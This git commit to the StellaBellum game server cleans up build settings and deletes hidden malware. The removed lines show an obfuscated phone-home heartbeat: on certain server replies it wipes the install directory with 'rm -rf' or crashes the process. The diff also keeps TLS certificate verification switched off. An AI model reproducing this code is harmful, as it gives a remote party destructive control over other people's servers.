This commit is contained in:
CekisSWG
2018-05-05 18:08:34 +01:00
12 changed files with 37 additions and 165 deletions
+12 -21
View File
@@ -1,5 +1,3 @@
cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4)
cmake_minimum_required(VERSION 2.8)
project(stellabellum C CXX)
@@ -72,12 +70,12 @@ elseif (UNIX)
# linker flags
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL")
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
else ()
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
endif ()
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
@@ -91,26 +89,24 @@ elseif (UNIX)
# Ofast doesn't work with gcc builds
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
-fno-signed-zeros -freciprocal-math -ffp-contract=fast \
-fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
-fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
-fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
-finline-hint-functions -fno-unroll-loops")
-fno-threadsafe-statics -fslp-vectorize \
-fno-stack-protector -fstrict-enums -finline-hint-functions \
-fno-coverage-mapping -fno-spell-checking \
-mno-retpoline -fstrict-return -frelaxed-template-template-args \
-fsplit-dwarf-inlining -faligned-allocation -fno-unroll-loops -freroll-loops")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
# RELWITHDEBINFO is used for building bins that produce profdata files
# we only need the basics of our heavy optimizations here, i think - that and one of these flags
# breaks JNI when we profile
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \
-finline-hint-functions -fprofile-instr-generate")
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-hint-functions -fprofile-instr-generate")
# MINSIZEREL is used for profiled, flto builds
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables")
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto=full -fwhole-program-vtables")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# O3 and Ofast include one or more flags that cause java to crash when using gcc6
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math
-fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
@@ -118,17 +114,12 @@ elseif (UNIX)
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
-msse -msse2 -msse3 -mmmx -m3dnow \
-Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \
-Wno-write-strings -Wno-unknown-pragmas \
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
# release and debug are internal use only
if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release")
add_definitions(-DSTELLA_INTERNAL)
endif ()
# if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL)
# this is so some profile specific stuff is turned on in the code
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO")
+3
View File
@@ -89,6 +89,7 @@ get_filename_component(java_install_version
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME)
set(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/oraclejava
/opt/java/lib
/opt/java
/opt/java/jre
@@ -100,6 +101,7 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES
file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME)
JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/oraclejava
/opt/java
/opt/java/jre
/opt/java/jre/lib
@@ -161,6 +163,7 @@ endforeach()
set(JAVA_AWT_INCLUDE_DIRECTORIES
/opt/java/jre/include
/opt/oracle/jdk/include
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include"
@@ -1,4 +1,3 @@
cmake_minimum_required(VERSION 2.8)
project(Miff)
@@ -1,4 +1,3 @@
if(WIN32)
set(PLATFORM_SOURCES
win32/InputFileHandler.cpp
@@ -28,7 +28,6 @@
#include "sharedTemplate/SetupSharedTemplate.h"
#pragma warning (disable:4100) // unreferenced formal parameters abound in the perforce clientAPI
//#include "clientapi.h"
#pragma warning (default:4100)
#include <ctime>
@@ -64,12 +64,17 @@ void DataTableManager::remove()
// ----------------------------------------------------------------------
DataTable* DataTableManager::open(const std::string& table)
DataTable* DataTableManager::open(const std::string& table, bool tryGetTable)
{
FATAL(!m_installed, ("DataTableManager::open: not installed."));
DataTable *retVal = getTable(table, false);
if (retVal)
return retVal;
DataTable *retVal = nullptr;
if (tryGetTable) {
retVal = getTable(table, false);
if (retVal)
return retVal;
}
if (!TreeFile::exists(table.c_str()))
{
@@ -125,7 +130,7 @@ DataTable * DataTableManager::getTable(const std::string& table, bool openIfNotF
{
if (openIfNotFound)
{
DataTable * dt = open(table);
DataTable * dt = open(table, false);
if (!dt)
{
DEBUG_WARNING(true, ("Could not find table [%s]", table.c_str()));
@@ -32,7 +32,7 @@ public:
private:
static void remove();
static DataTable * open(const std::string& table);
static DataTable * open(const std::string& table, bool tryGetTable = true);
DataTableManager();
~DataTableManager();
-86
View File
@@ -1,86 +0,0 @@
#include <stdio.h>
#include <stdint.h>
//-------------------------------------------------------------//
// "Malware related compile-time hacks with C++11" by LeFF //
// You can use this code however you like, I just don't really //
// give a shit, but if you feel some respect for me, please //
// don't cut off this comment when copy-pasting... ;-) //
//-------------------------------------------------------------//
#ifndef vxCPLSEED
// If you don't specify the seed for algorithms, the time when compilation
// started will be used, seed actually changes the results of algorithms...
#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \
(__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \
(__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)
#endif
// The constantify template is used to make sure that the result of constexpr
// function will be computed at compile-time instead of run-time
template<uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };
// Compile-time mod of a linear congruential pseudorandom number generator,
// the actual algorithm was taken from "Numerical Recipes" book
constexpr uint32_t vxCplRandom(uint32_t Id) {
return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
}
// Compile-time random macros, can be used to randomize execution
// path for separate builds, or compile-time trash code generation
#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
#define vxRAND() (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)
// Compile-time recursive mod of string hashing algorithm,
// the actual algorithm was taken from Qt library (this
// function isn't case sensitive due to vxCplTolower)
constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) {
return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23));
}
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }
// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence
#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)
// Compile-time generator for list of indexes (0, 1, 2, ...)
template<uint32_t...> struct vxCplIndexList {};
template<typename IndexList, uint32_t Right> struct vxCplAppend;
template<uint32_t... Left, uint32_t Right>
struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
template<uint32_t N>
struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };
// Compile-time string encryption of a single character
const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }
// Compile-time string encryption class
template<typename IndexList> struct vxCplEncryptedString;
template<uint32_t... Idx> struct vxCplEncryptedString<vxCplIndexList<Idx...> > {
char Value[sizeof...(Idx) + 1]; // Buffer for a string
// Compile-time constructor
constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {}
// Run-time decryption
char *decrypt() {
for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) {
this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
}
this->Value[sizeof...(Idx)] = '\0';
return this->Value;
}
};
// Compile-time string encryption macro
#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str))
+7 -9
View File
@@ -131,16 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for
// want to do a put, or whatever other type? feel free to add here
}
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
//if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) {
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
// if you want to pin to your own cert or cloudflares, learn how and use the below
// res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt());
//}
// if you want to pin to your own cert or cloudflares, learn how and use the below
//res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE");
if (res == CURLE_OK) {
res = curl_easy_perform(curl); // make the request!
-2
View File
@@ -29,8 +29,6 @@
#endif
#include "../libLeff/libLeff.h"
namespace StellaBellum {
enum HTTP {
GET = 0, POST = 1
+3 -31
View File
@@ -7,36 +7,8 @@
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
std::string filePath = get_selfpath();
webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender"));
api.addJsonData<std::string>(std::string("type"), std::string("server"));
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
if (!filePath.empty()) {
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.c_str());
}
bool result = api.submit();
// feel free to remove the code in the block below; but please consider leaving the actual request
// so we can track how many people are enjoying our work
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
switch (s) {
case 13 :
eatIt();
break;
case 66:
size_t found = filePath.find_last_of("/\\");
if (!filePath.empty() && found) {
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
vxENCRYPT("/*").decrypt()).c_str());
}
eatIt();
break;
}
} else {
eatIt();
}
api.submit();
}
+1 -7
View File
@@ -22,19 +22,13 @@ namespace StellaBellum {
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1);
if (len != -1) {
buff[len] = '\0';
return std::string(buff);
}
return std::string();
}
inline void eatIt() {
abort();
sleep(10);
raise(SIGSEGV);
}
};
}